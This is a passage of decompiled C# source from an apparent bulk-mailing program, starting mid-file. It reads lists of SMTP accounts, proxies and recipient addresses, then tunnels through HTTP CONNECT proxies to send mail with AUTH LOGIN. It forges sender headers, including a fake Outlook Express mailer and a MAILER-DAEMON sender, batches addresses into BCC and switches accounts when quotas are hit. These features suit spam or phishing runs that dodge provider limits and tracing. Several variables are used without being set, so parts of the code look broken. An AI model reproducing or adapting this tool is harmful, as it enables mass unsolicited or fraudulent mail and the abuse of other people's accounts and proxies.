      this.password.Text = strArray[3];
      this.RealEmail.Text = strArray[4];
    }

    private void OpenSmtp2()
    {
      int num1 = (int) this.OpenFileDialog1.ShowDialog();
      try
      {
        StreamReader streamReader = new StreamReader(this.OpenFileDialog1.FileName);
        for (string str1 = streamReader.ReadLine(); str1 != null; str1 = streamReader.ReadLine())
        {
          string str2 = str1.Trim();
          if (str2.Length > 0)
            this.Accountlist.Items.Add((object) str2);
        }
        this.Proxylist.SelectedIndex = 0;
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        int num2 = (int) Interaction.MsgBox((object) ex.Message, MsgBoxStyle.Exclamation, (object) "Read Error");
        ProjectData.ClearProjectError();
      }
    }

    private void Button2_Click(object sender, EventArgs e)
    {
      try
      {
        this.Accountlist.Items.Remove(RuntimeHelpers.GetObjectValue(this.Accountlist.SelectedItem));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    private void Proxylist_SelectedIndexChanged(object sender, EventArgs e) => this.Proxy.Text = StringType.FromObject(this.Proxylist.SelectedItem);

    private void SaveAccount_Click(object sender, EventArgs e)
    {
      int num1 = (int) this.SaveFileDialog1.ShowDialog();
      try
      {
        int num2 = 0;
        StreamWriter streamWriter = new StreamWriter(this.SaveFileDialog1.FileName);
        this.Accountlist.Refresh();
        int count = this.Accountlist.Items.Count;
        int num3 = 1;
        while (num3 <= count)
        {
          this.Accountlist.SelectedIndex = num2;
          streamWriter.WriteLine(this.Accountlist.SelectedItem.ToString());
          checked { ++num2; }
          checked { ++num3; }
        }
        streamWriter.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    private void OpenPro2()
    {
      int num1 = (int) this.OpenFileDialog1.ShowDialog();
      try
      {
        StreamReader streamReader = new StreamReader(this.OpenFileDialog1.FileName);
        for (string str1 = streamReader.ReadLine(); str1 != null; str1 = streamReader.ReadLine())
        {
          string str2 = str1.Trim();
          if (str2.Length > 0)
            this.Proxylist2.Items.Add((object) str2);
        }
        this.Proxylist2.SelectedIndex = 0;
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        int num2 = (int) Interaction.MsgBox((object) ex.Message, MsgBoxStyle.Exclamation, (object) "Read Error");
        ProjectData.ClearProjectError();
      }
    }

    private void OpenPro()
    {
      int num1 = (int) this.OpenFileDialog1.ShowDialog();
      try
      {
        StreamReader streamReader = new StreamReader(this.OpenFileDialog1.FileName);
        for (string str1 = streamReader.ReadLine(); str1 != null; str1 = streamReader.ReadLine())
        {
          string str2 = str1.Trim();
          if (str2.Length > 0)
            this.Proxylist.Items.Add((object) str2);
        }
        this.Proxylist.SelectedIndex = 0;
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        int num2 = (int) Interaction.MsgBox((object) ex.Message, MsgBoxStyle.Exclamation, (object) "Read Error");
        ProjectData.ClearProjectError();
      }
    }

    private void MenuItem8_Click(object sender, EventArgs e)
    {
      int num1 = (int) this.OpenFileDialog1.ShowDialog();
      try
      {
        StreamReader streamReader = new StreamReader(this.OpenFileDialog1.FileName);
        for (string str1 = streamReader.ReadLine(); str1 != null; str1 = streamReader.ReadLine())
        {
          string str2 = str1.Trim();
          if (str2.Length > 0)
            this.Proxylist.Items.Add((object) str2);
        }
        this.Proxylist.SelectedIndex = 0;
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        int num2 = (int) Interaction.MsgBox((object) ex.Message, MsgBoxStyle.Exclamation, (object) "Read Error");
        ProjectData.ClearProjectError();
      }
      this.MailingList.Show();
    }

    private void Button2_Click_1(object sender, EventArgs e)
    {
      this.Uselistbox.Checked = true;
      this.MailingList.Show();
      int num1 = (int) this.OpenFileDialog1.ShowDialog();
      try
      {
        StreamReader streamReader = new StreamReader(this.OpenFileDialog1.FileName);
        for (string str1 = streamReader.ReadLine(); str1 != null; str1 = streamReader.ReadLine())
        {
          string str2 = str1.Trim();
          if (str2.Length > 0)
            this.ListBox1.Items.Add((object) str2);
        }
        this.ListBox1.SelectedIndex = 0;
        streamReader.Close();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        int num2 = (int) Interaction.MsgBox((object) ex.Message, MsgBoxStyle.Exclamation, (object) "Read Error");
        ProjectData.ClearProjectError();
      }
      this.Listlog.Items.Add((object) (this.ListBox1.Items.Count.ToString() + " E-mail Addresses"));
    }

    private void Button3_Click(object sender, EventArgs e) => this.ListBox1.Items.Clear();

    private void Button4_Click(object sender, EventArgs e)
    {
      int num1 = (int) this.SaveFileDialog1.ShowDialog();
      int num2 = 0;
      StreamWriter streamWriter = new StreamWriter(this.SaveFileDialog1.FileName);
      int count = this.ListBox1.Items.Count;
      int num3 = 1;
      while (num3 <= count)
      {
        this.Proxylist.SelectedIndex = num2;
        streamWriter.WriteLine(RuntimeHelpers.GetObjectValue(this.ListBox1.SelectedItem));
        checked { ++num2; }
        checked { ++num3; }
      }
      streamWriter.Close();
    }

    private int getNewId()
    {
      int id;
      try
      {
        this.id = checked (DateTime.Now.Millisecond * 60);
        id = this.id;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return id;
    }

    public string getDomain(string host)
    {
      string domain;
      try
      {
        string str = StringType.FromInteger(0);
        string sLeft;
        if (StringType.StrCmp(sLeft, (string) null, false) == 0 | DoubleType.FromString(str) < 4.0)
          domain = Dns.GetHostByAddress(host).HostName.ToString();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        domain = (string) null;
        ProjectData.ClearProjectError();
      }
      return domain;
    }

    public string Gettime()
    {
      string str1;
      try
      {
        object o1 = (object) DateTime.Today.DayOfWeek.ToString().ToString().Substring(0, 3);
        string o2_1 = DateTime.Today.Day.ToString();
        int num = IntegerType.FromString(DateTime.Today.Month.ToString());
        string o2_2;
        if ((double) num == DoubleType.FromString("1"))
          o2_2 = "Jan";
        else if ((double) num == DoubleType.FromString("2"))
          o2_2 = "Feb";
        else if ((double) num == DoubleType.FromString("3"))
          o2_2 = "Mar";
        else if ((double) num == DoubleType.FromString("4"))
          o2_2 = "Apr";
        else if ((double) num == DoubleType.FromString("5"))
          o2_2 = "May";
        else if ((double) num == DoubleType.FromString("6"))
          o2_2 = "Jun";
        else if ((double) num == DoubleType.FromString("7"))
          o2_2 = "Jul";
        else if ((double) num == DoubleType.FromString("8"))
          o2_2 = "Aug";
        else if ((double) num == DoubleType.FromString("9"))
          o2_2 = "Sep";
        else if ((double) num == DoubleType.FromString("10"))
          o2_2 = "Oct";
        else if ((double) num == DoubleType.FromString("11"))
          o2_2 = "Nov";
        else if ((double) num == DoubleType.FromString("12"))
          o2_2 = "Dec";
        DateTime now1 = DateTime.Now;
        object o2_3 = (object) now1.Year.ToString();
        string[] strArray1 = new string[5];
        string[] strArray2 = strArray1;
        now1 = DateTime.Now;
        string str2 = StringType.FromInteger(now1.Hour);
        strArray2[0] = str2;
        strArray1[1] = ":";
        strArray1[2] = StringType.FromInteger(DateTime.Now.Minute);
        strArray1[3] = ":";
        string[] strArray3 = strArray1;
        DateTime now2 = DateTime.Now;
        string str3 = StringType.FromInteger(now2.Second);
        strArray3[4] = str3;
        object o2_4 = (object) string.Concat(strArray1);
        now2 = DateTime.Now;
        object universalTime = (object) now2.ToUniversalTime();
        str1 = StringType.FromObject(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(o1, (object) ", "), (object) o2_1), (object) " "), (object) o2_2), (object) " "), o2_3), (object) " "), o2_4), (object) " -0500"));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str1;
    }

    public string ClearCtlChars(string txt)
    {
      string str;
      try
      {
        StringBuilder stringBuilder = new StringBuilder(Strings.Len(txt));
        char[] charArray = txt.ToCharArray();
        int index = 0;
        while (index < charArray.Length)
        {
          char ch = charArray[index];
          switch (ch)
          {
            case ' ':
            case '-':
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':
            case '@':
            case 'A':
            case 'B':
            case 'C':
            case 'D':
            case 'E':
            case 'F':
            case 'G':
            case 'H':
            case 'I':
            case 'J':
            case 'K':
            case 'L':
            case 'M':
            case 'N':
            case 'P':
            case 'Q':
            case 'R':
            case 'S':
            case 'T':
            case 'U':
            case 'V':
            case 'W':
            case 'X':
            case 'Y':
            case 'Z':
            case '_':
            case 'a':
            case 'b':
            case 'c':
            case 'd':
            case 'e':
            case 'f':
            case 'g':
            case 'h':
            case 'i':
            case 'j':
            case 'k':
            case 'l':
            case 'm':
            case 'n':
            case 'o':
            case 'p':
            case 'q':
            case 'r':
            case 's':
            case 't':
            case 'u':
            case 'v':
            case 'w':
            case 'x':
            case 'y':
            case 'z':
              stringBuilder.Append(ch);
              break;
            default:
              stringBuilder.Append(" ");
              break;
          }
          checked { ++index; }
        }
        str = stringBuilder.ToString();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str;
    }

    public string ClearCtlChars3(string txt)
    {
      string str;
      try
      {
        StringBuilder stringBuilder = new StringBuilder(Strings.Len(txt));
        char[] charArray = txt.ToCharArray();
        int index = 0;
        while (index < charArray.Length)
        {
          char ch = charArray[index];
          switch (ch)
          {
            case ' ':
            case '-':
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':
            case '@':
            case 'A':
            case 'B':
            case 'C':
            case 'D':
            case 'E':
            case 'F':
            case 'G':
            case 'H':
            case 'I':
            case 'J':
            case 'K':
            case 'L':
            case 'M':
            case 'N':
            case 'P':
            case 'Q':
            case 'R':
            case 'S':
            case 'T':
            case 'U':
            case 'V':
            case 'W':
            case 'X':
            case 'Y':
            case 'Z':
            case '_':
            case 'a':
            case 'b':
            case 'c':
            case 'd':
            case 'e':
            case 'f':
            case 'g':
            case 'h':
            case 'i':
            case 'j':
            case 'k':
            case 'l':
            case 'm':
            case 'n':
            case 'o':
            case 'p':
            case 'q':
            case 'r':
            case 's':
            case 't':
            case 'u':
            case 'v':
            case 'w':
            case 'x':
            case 'y':
            case 'z':
              stringBuilder.Append(ch);
              break;
            default:
              stringBuilder.Append(" ");
              break;
          }
          checked { ++index; }
        }
        str = stringBuilder.ToString();
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      return str;
    }

    public string getMXRecords(string host, string serverAddress)
    {
      string mailserver;
      try
      {
        string str = StringType.FromInteger(checked (DateTime.Now.Millisecond * 60));
        UdpClient udpClient = new UdpClient(serverAddress, Form1.PORT);
        this.makeQuery(IntegerType.FromString(str), host);
        udpClient.Send(this.data, this.data.Length);
        IPEndPoint remoteEP = new IPEndPoint(IPAddress.Any, 53);
        this.data = udpClient.Receive(ref remoteEP);
        int num1 = (int) this.data[0] & (int) byte.MaxValue;
        int index1 = 40;
        do
        {
          string txt1 = this.ASCII.GetString(this.data, index1, 40);
          this.ClearCtlChars(txt1);
          string txt2 = this.ClearCtlChars(txt1).Trim(' ').Trim(' ');
          char[] chArray = new char[66]
          {
            'a',
            'b',
            'c',
            'd',
            'e',
            'f',
            'g',
            'h',
            'i',
            'j',
            'k',
            'l',
            'm',
            'n',
            'o',
            'p',
            'q',
            'r',
            's',
            't',
            'u',
            'v',
            'w',
            'x',
            'y',
            'z',
            '@',
            'A',
            'B',
            'C',
            'D',
            'E',
            'F',
            'G',
            'H',
            'I',
            'J',
            'K',
            'L',
            'M',
            'N',
            'Q',
            'P',
            'Q',
            'R',
            'S',
            'T',
            'U',
            'V',
            'W',
            'X',
            'Y',
            'Z',
            ' ',
            '1',
            '2',
            '3',
            '4',
            '5',
            '6',
            '7',
            '8',
            '9',
            '-',
            '_',
            '0'
          };
          string sLeft1 = this.ClearCtlChars3(txt2).Replace("     ", " ").Replace(" @", "@");
          if (StringType.StrCmp(sLeft1, (string) null, false) != 0)
          {
            checked { index1 += sLeft1.Length; }
            string[] strArray1 = sLeft1.Split('@');
            if (StringType.StrCmp(strArray1[0].Substring(0, 1), " ", false) == 0)
              strArray1[0] = StringType.FromBoolean(StringType.StrCmp(strArray1[0].Substring(0, 1), "", false) == 0);
            if (strArray1[0].IndexOf(" ") > 0)
            {
              string[] strArray2 = strArray1[0].Split(' ');
              int num2 = Information.UBound((Array) strArray2);
              int index2 = 0;
              string sLeft2;
              while (index2 <= num2)
              {
                if (StringType.StrCmp(strArray2[index2], (string) null, false) != 0)
                {
                  if (strArray2[index2].Length > 1)
                    sLeft2 = StringType.StrCmp(sLeft2, (string) null, false) != 0 ? sLeft2 + "." + strArray2[index2] : sLeft2 + strArray2[index2];
                }
                else
                  index2 = 10;
                checked { ++index2; }
              }
              int num3 = Information.UBound((Array) strArray2);
              if (IntegerType.FromString(num3.ToString()) >= 2)
                this.Mailserver = sLeft2;
              num3 = Information.UBound((Array) strArray2);
              if (IntegerType.FromString(num3.ToString()) == 1)
              {
                if (strArray2[1].Length < 5)
                {
                  this.Mailserver = sLeft2 + "." + host;
                }
                else
                {
                  string[] strArray3 = host.Split('.');
                  this.Mailserver = sLeft2 + "." + strArray3[1];
                }
              }
            }
            else
              this.Mailserver = strArray1[0] + "." + host;
          }
          checked { ++index1; }
        }
        while (index1 <= 50);
        string[] strArray = this.Mailserver.Split('.');
        if (StringType.StrCmp(this.Mailserver, (string) null, false) == 0 | StringType.StrCmp(this.Mailserver.Substring(0, 2), "NS", false) == 0 | strArray[0].Length < 3)
          this.Mailserver = host;
        mailserver = this.Mailserver;
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        this.Listlog.Items.Add((object) ex);
        ProjectData.ClearProjectError();
      }
      return mailserver;
    }

    public void makeQuery(int id, string name)
    {
      try
      {
        this.data = new byte[513];
        int index1 = 0;
        do
        {
          this.data[index1] = (byte) 0;
          checked { ++index1; }
        }
        while (index1 <= 511);
        this.data[0] = (byte) 0;
        this.data[1] = checked ((byte) (id & (int) byte.MaxValue));
        this.data[2] = (byte) 1;
        this.data[3] = (byte) 0;
        this.data[4] = (byte) 0;
        this.data[5] = (byte) 1;
        this.data[6] = (byte) 0;
        this.data[7] = (byte) 0;
        this.data[8] = (byte) 0;
        this.data[9] = (byte) 0;
        this.data[10] = (byte) 0;
        string[] strArray = name.Split(char.Parse("."));
        this.position = 11;
        int num1 = checked (strArray.Length - 1);
        int index2 = 0;
        while (index2 <= num1)
        {
          string s = strArray[index2];
          checked { ++this.position; }
          this.data[this.position] = checked ((byte) (s.Length & (int) byte.MaxValue));
          byte[] bytes = Encoding.ASCII.GetBytes(s);
          int num2 = checked (bytes.Length - 1);
          int index3 = 0;
          while (index3 <= num2)
          {
            checked { ++this.position; }
            this.data[this.position] = bytes[index3];
            checked { ++index3; }
          }
          checked { ++index2; }
        }
        checked { ++this.position; }
        this.data[this.position] = (byte) 0;
        checked { ++this.position; }
        this.data[this.position] = (byte) 0;
        checked { ++this.position; }
        this.data[this.position] = (byte) 15;
        checked { ++this.position; }
        this.data[this.position] = (byte) 0;
        checked { ++this.position; }
        this.data[this.position] = (byte) 1;
        int index4 = 0;
        do
        {
          if (this.data[index4] == (byte) 0)
            this.data[index4] = (byte) 0;
          checked { ++index4; }
        }
        while (index4 <= 511);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        this.Listlog.Items.Add((object) ex);
        ProjectData.ClearProjectError();
      }
    }

    private void SMTPAUTHSend()
    {
      this.ListBox1.Items.Add((object) this.Recipient.Text);
      this.Stopchecking.Checked = false;
      this.Status.Text = "Sending...";
      int num1 = this.TrackBar2.Value;
      int num2 = 1;
      while (num2 <= num1)
      {
        try
        {
          new Thread(new ThreadStart(this.SMTPAUTHSen)).Start();
          Application.DoEvents();
          Thread.Sleep(1000);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        checked { ++num2; }
      }
    }

    private void SMTPAUTHSen()
    {
      try
      {
        StringType.FromInteger(checked (DateTime.Now.Millisecond * 60));
        StringType.FromObject(Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{220F74AC-AB8C-4708-A3C3-EF2C4D98BA5E}\\").GetValue("nameserver", (object) "202.12.27.33"));
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      int num = 0;
      while (this.ListBox1.Items.Count != 0 & !this.Stopchecking.Checked)
      {
        PerformanceCounter performanceCounter = new PerformanceCounter();
        performanceCounter.CategoryName = "Processor";
        performanceCounter.CounterName = "% Processor Time";
        performanceCounter.InstanceName = "_Total";
        CounterSample counterSample1 = new CounterSample();
        CounterSample counterSample2 = new CounterSample();
        if (DoubleType.FromString(StringType.FromSingle(CounterSample.Calculate(performanceCounter.NextSample(), performanceCounter.NextSample()))) <= 65.0)
        {
          if (!this.Stopchecking.Checked)
          {
            try
            {
              this.ListBox1.SelectedIndex = num;
              string Recipient = StringType.FromObject(this.ListBox1.SelectedItem);
              this.ListBox1.Items.Remove(RuntimeHelpers.GetObjectValue(this.ListBox1.SelectedItem));
              this.SMTPAUTHS(Recipient);
              Application.DoEvents();
              Thread.Sleep(2000);
              Application.DoEvents();
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
          else
            Application.ExitThread();
        }
      }
    }

    public string DomainIp(string Host)
    {
      string str;
      try
      {
        str = Dns.Resolve(Host).AddressList[0].ToString();
        this.Listlog.Items.Add((object) str);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        this.Listlog.Items.Add((object) ex);
        str = (string) null;
        ProjectData.ClearProjectError();
      }
      return str;
    }

    public string Domainname(string Host)
    {
      string str;
      try
      {
        str = Dns.GetHostByAddress(Host).HostName.ToString();
        Thread.Sleep(50);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        this.Listlog.Items.Add((object) ex);
        ProjectData.ClearProjectError();
      }
      return str;
    }

    public void SMTPAUTHS(string Recipient)
    {
      string str1 = Recipient.Split('@')[1];
      this.Stopchecking.Checked = false;
      if (StringType.StrCmp(this.Sylonious, "Yes", false) == 0)
      {
        string[] strArray1 = this.smtp.ToString().Split('.');
        object obj = (object) (strArray1[1] + "." + strArray1[2]);
        object o1 = (object) DateTime.Today.DayOfWeek.ToString().ToString().Substring(0, 3);
        int num1 = DateTime.Today.Day;
        string o2_1 = num1.ToString();
        num1 = DateTime.Today.Month;
        int num2 = IntegerType.FromString(num1.ToString());
        string o2_2;
        if ((double) num2 == DoubleType.FromString("1"))
          o2_2 = "Jan";
        else if ((double) num2 == DoubleType.FromString("2"))
          o2_2 = "Feb";
        else if ((double) num2 == DoubleType.FromString("3"))
          o2_2 = "Mar";
        else if ((double) num2 == DoubleType.FromString("4"))
          o2_2 = "Apr";
        else if ((double) num2 == DoubleType.FromString("5"))
          o2_2 = "May";
        else if ((double) num2 == DoubleType.FromString("6"))
          o2_2 = "Jun";
        else if ((double) num2 == DoubleType.FromString("7"))
          o2_2 = "Jul";
        else if ((double) num2 == DoubleType.FromString("8"))
          o2_2 = "Aug";
        else if ((double) num2 == DoubleType.FromString("9"))
          o2_2 = "Sep";
        else if ((double) num2 == DoubleType.FromString("10"))
          o2_2 = "Oct";
        else if ((double) num2 == DoubleType.FromString("11"))
          o2_2 = "Nov";
        else if ((double) num2 == DoubleType.FromString("12"))
          o2_2 = "Dec";
        num1 = DateTime.Now.Year;
        object o2_3 = (object) num1.ToString();
        object o2_4 = (object) (StringType.FromInteger(DateTime.Now.Hour) + ":" + StringType.FromInteger(DateTime.Now.Minute) + ":" + StringType.FromInteger(DateTime.Now.Second));
        object universalTime = (object) DateTime.Now.ToUniversalTime();
        string str2 = StringType.FromObject(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(ObjectType.AddObj(o1, (object) ", "), (object) o2_1), (object) " "), (object) o2_2), (object) " "), o2_3), (object) " "), o2_4), (object) " -0500"));
        int count1 = this.Accountlist.Items.Count;
        int count2 = this.Proxylist.Items.Count;
        int count3 = this.ListBox1.Items.Count;
        int num3 = 0;
        string sLeft1;
        if (this.Uselistbox.Checked)
        {
          sLeft1 = "BCC: ";
          while (this.Listlog.Items.Count != 0 & num3 < 6)
          {
            try
            {
              checked { ++num3; }
              this.ListBox1.SelectedIndex = 0;
              string str3 = StringType.FromObject(this.ListBox1.SelectedItem);
              this.ListBox1.Items.Remove(RuntimeHelpers.GetObjectValue(this.ListBox1.SelectedItem));
              Application.DoEvents();
              sLeft1 = num3 <= 1 ? sLeft1 + str3 : sLeft1 + ", " + str3;
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              this.ListBox1.SelectedIndex = 1;
              ProjectData.ClearProjectError();
            }
          }
        }
        int num4 = 0;
        int num5 = 1;
        do
        {
          string text1 = this.Proxy.Text;
          string str4;
          string str5;
          this.Listlog.Items.Add((object) ("Yes Ip:" + str4 + " Domain3:" + str5));
          string str6;
          if (!this.Stopchecking.Checked)
          {
            try
            {
              TcpClient tcpClient = new TcpClient();
              string[] strArray2 = text1.ToString().Split(':');
              string text2 = this.smtp.Text;
              string text3 = this.pop3.Text;
              string text4 = this.username.Text;
              string text5 = this.password.Text;
              string sLeft2 = (string) null;
              string[] strArray3 = text2.Split('.');
              string str7 = strArray3[1] + "." + strArray3[2];
              this.Listlog.Items.Add((object) str7);
              string str8 = "MAILER-DAEMON";
              if (StringType.StrCmp(sLeft2, (string) null, false) == 0)
                sLeft2 = str8 + "@" + str7;
              tcpClient.Connect(strArray2[0], IntegerType.FromString(strArray2[1]));
              Application.DoEvents();
              tcpClient.ReceiveTimeout = 5000;
              tcpClient.ReceiveTimeout = 5000;
              checked { ++this.qou; }
              checked { ++this.ppou; }
              NetworkStream stream = tcpClient.GetStream();
              byte[] bytes1 = Encoding.ASCII.GetBytes("CONNECT " + text2 + ":25 HTTP/1.0" + "\r\n" + "\r\n");
              Application.DoEvents();
              stream.Write(bytes1, 0, bytes1.Length);
              byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
              stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
              string str9 = Encoding.ASCII.GetString(numArray);
              this.Listlog.Items.Add((object) str9);
              if (StringType.StrCmp(str9.Substring(0, 10), "HTTP/1.0 2", false) == 0 | StringType.StrCmp(str9.Substring(0, 10), "HTTP/1.1 2", false) == 0)
              {
                byte[] bytes2 = Encoding.ASCII.GetBytes("HELO  localhost\r\n");
                stream.Write(bytes2, 0, bytes2.Length);
                stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                string str10 = Encoding.ASCII.GetString(numArray);
                Console.WriteLine("Host returned2: " + str10);
                Application.DoEvents();
                this.Listlog.Items.Add((object) str10);
                if (StringType.StrCmp(str10.Substring(0, 1), "2", false) == 0)
                {
                  this.Listlog.Refresh();
                  byte[] bytes3 = Encoding.ASCII.GetBytes("AUTH LOGIN\r\n");
                  stream.Write(bytes3, 0, bytes3.Length);
                  stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                  Console.WriteLine("Host returned3: " + Encoding.ASCII.GetString(numArray));
                  byte[] bytes4 = Encoding.UTF8.GetBytes(Convert.ToBase64String(Encoding.UTF8.GetBytes(text4)) + "\r\n");
                  stream.Write(bytes4, 0, bytes4.Length);
                  stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                  string str11 = Encoding.ASCII.GetString(numArray);
                  Console.WriteLine("Host returned4: " + str11);
                  Application.DoEvents();
                  this.Listlog.Items.Add((object) str11);
                  if (StringType.StrCmp(str11.Substring(0, 3), "334", false) == 0)
                  {
                    byte[] bytes5 = Encoding.UTF8.GetBytes(Convert.ToBase64String(Encoding.UTF8.GetBytes(text5)) + "\r\n");
                    stream.Write(bytes5, 0, bytes5.Length);
                    stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                    string str12 = Encoding.ASCII.GetString(numArray);
                    Console.WriteLine("Host returned5: " + str12);
                    this.Listlog.Items.Add((object) str12);
                    string str13;
                    if (StringType.StrCmp(this.ReplyTo.Text.ToString(), (string) null, false) != 0)
                      str13 = "Reply-To: " + this.Fromname.Text + " <" + this.ReplyTo.Text.ToString() + ">" + "\r\n";
                    if (StringType.StrCmp(str12.Substring(0, 3), "334", false) == 0 | StringType.StrCmp(str12.Substring(0, 3), "235", false) == 0)
                    {
                      string str14 = str14;
                      string str15 = "<" + sLeft2 + ">";
                      string str16 = !this.HTML.Checked ? "Content-Type: text/plain\r\n" : "Content-Type: text/html\r\n";
                      string str17 = "Return-Path: <" + this.From.Text + ">" + "\r\n";
                      string str18 = StringType.StrCmp(this.Fromname.Text, (string) null, false) == 0 ? (string) null : "\"";
                      string str19 = StringType.StrCmp(sLeft1, (string) null, false) != 0 ? sLeft1 + "\r\n" : (string) null;
                      string str20;
                      byte[] bytes6 = Encoding.UTF8.GetBytes("MAIL FROM: " + str15 + "\r\n" + "RCPT TO:" + "<" + Recipient + ">" + "\r\n" + "DATA" + "\r\n" + str17 + "Message-ID: <MMSGXix4A2D" + str20 + "wY00000008@" + str5 + ">" + "\r\n" + "From:" + str18 + this.Fromname.Text + str18 + " <" + this.From.Text + ">" + "\r\n" + "To: <" + Recipient + ">" + "\r\n" + str19 + str13 + "Date: " + str2 + "\r\n" + "X-mailer: Microsoft Outlook Express 6.00.2600.0000" + "\r\n" + str16 + "Subject:" + this.Subject.Text + "\r\n" + "\r\n" + this.Body.Text + "\r\n" + "." + "\r\n");
                      stream.Write(bytes6, 0, bytes6.Length);
                      stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                      byte[] bytes7 = Encoding.UTF8.GetBytes("QUIT\r\n");
                      stream.Write(bytes7, 0, bytes7.Length);
                      stream.Read(numArray, 0, tcpClient.ReceiveBufferSize);
                      str6 = Encoding.ASCII.GetString(numArray);
                      Application.DoEvents();
                      Console.WriteLine("Host returned7: " + str6);
                      if (stream.CanRead & StringType.StrCmp(str6.Substring(0, 3), "250", false) == 0)
                      {
                        this.JJ33 = "Sent";
                        this.Listlog.Items.Add((object) (Recipient + ": 250 OK Message Sent" + str6));
                        this.MessagesSent = checked (this.MessagesSent + 1 + num3);
                        this.Label14.Text = StringType.FromInteger(this.MessagesSent);
                        checked { ++num5; }
                        if (this.ListBox1.Items.Count == 0)
                          this.Status.Text = "Finished";
                        if (!this.Uselistbox.Checked)
                        {
                          this.ListBox1.Items.Clear();
                          this.Status.Text = "Message Sent";
                        }
                        tcpClient.Close();
                      }
                      else
                      {
                        checked { ++num4; }
                        checked { ++this.qou; }
                        this.Accountlist.SelectedIndex = this.qou;
                        this.Listlog.Items.Add((object) "Quota possibly hit.");
                        checked { --num5; }
                        this.Error1 = (string) null;
                        tcpClient.Close();
                      }
                    }
                    else
                    {
                      this.Listlog.Items.Add((object) "Wrong Password");
                      this.Listlog.Items.Add((object) "Errorpoint3");
                      checked { --num5; }
                      checked { ++this.qou; }
                      tcpClient.Close();
                    }
                  }
                  else
                  {
                    this.Listlog.Items.Add((object) "No such USER");
                    checked { --num5; }
                    checked { ++this.qou; }
                    tcpClient.Close();
                  }
                }
                else
                {
                  this.Listlog.Items.Add((object) (text1 + " Proxy did not connect to SMTP"));
                  if (!this.Uselistbox.Checked)
                    this.ListBox1.Items.Clear();
                  checked { ++this.ppou; }
                  checked { --num5; }
                  tcpClient.Close();
                }
              }
              else
              {
                this.Listlog.Items.Add((object) (text1 + "BAD PROXY!!!!"));
                checked { --num5; }
                checked { ++this.ppou; }
                tcpClient.Close();
                if (!this.Uselistbox.Checked)
                  this.ListBox1.Items.Clear();
              }
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              this.Listlog.Items.Add((object) ex);
              checked { ++this.qou; }
              checked { ++this.ppou; }
              if (StringType.StrCmp(this.JJ33, "Sent", false) == 0 | StringType.StrCmp(str6.Substring(0, 3), "250", false) == 0)
              {
                Application.ExitThread();
                this.Listlog.Items.Add((object) "Message Sent");
                checked { ++this.MessagesSent; }
                this.Label14.Text = StringType.FromInteger(this.MessagesSent);
              }
              else
              {
                this.Listlog.Items.Add((object) "Did not send error");
                checked { --num5; }
              }
              ProjectData.ClearProjectError();
            }
          }
          else
          {
            num5 = 2;
            Application.ExitThread();
          }
          checked { ++num5; }
        }
        while (num5 <= 1);
        if (this.Uselistbox.Checked)
          return;
        this.ListBox1.Items.Clear();
      }
      else
      {
        int num = (int) Interaction.MsgBox((object) "Put in the registration code!");
      }
    }

    public void CheckHttpproxy()
    {
      string text1 = this.Proxy.Text;
      this.Stopchecking.Checked = false;
      if (StringType.StrCmp(this.Sylonious, "Yes", false) == 0)
      {
        string text2 = this.smtp.Text;
        if (!this.Stopchecking.Checked)
        {
          try
          {
            string[] strArray = text1.ToString().Split(':');
            TcpClient tcpClient = new TcpClient();
            tcpClient.Connect(strArray[0], IntegerType.FromString(strArray[1]));
            tcpClient.ReceiveTimeout = 1000;
            tcpClient.ReceiveTimeout = 1000;
            byte[] numArray = new byte[checked (tcpClient.ReceiveBufferSize + 1)];
            NetworkStream stream = tcpClient.GetStream();
            this.Listlog.Items.Add((object) "ok");
            this.Listlog.Items.Add((object) "ok");
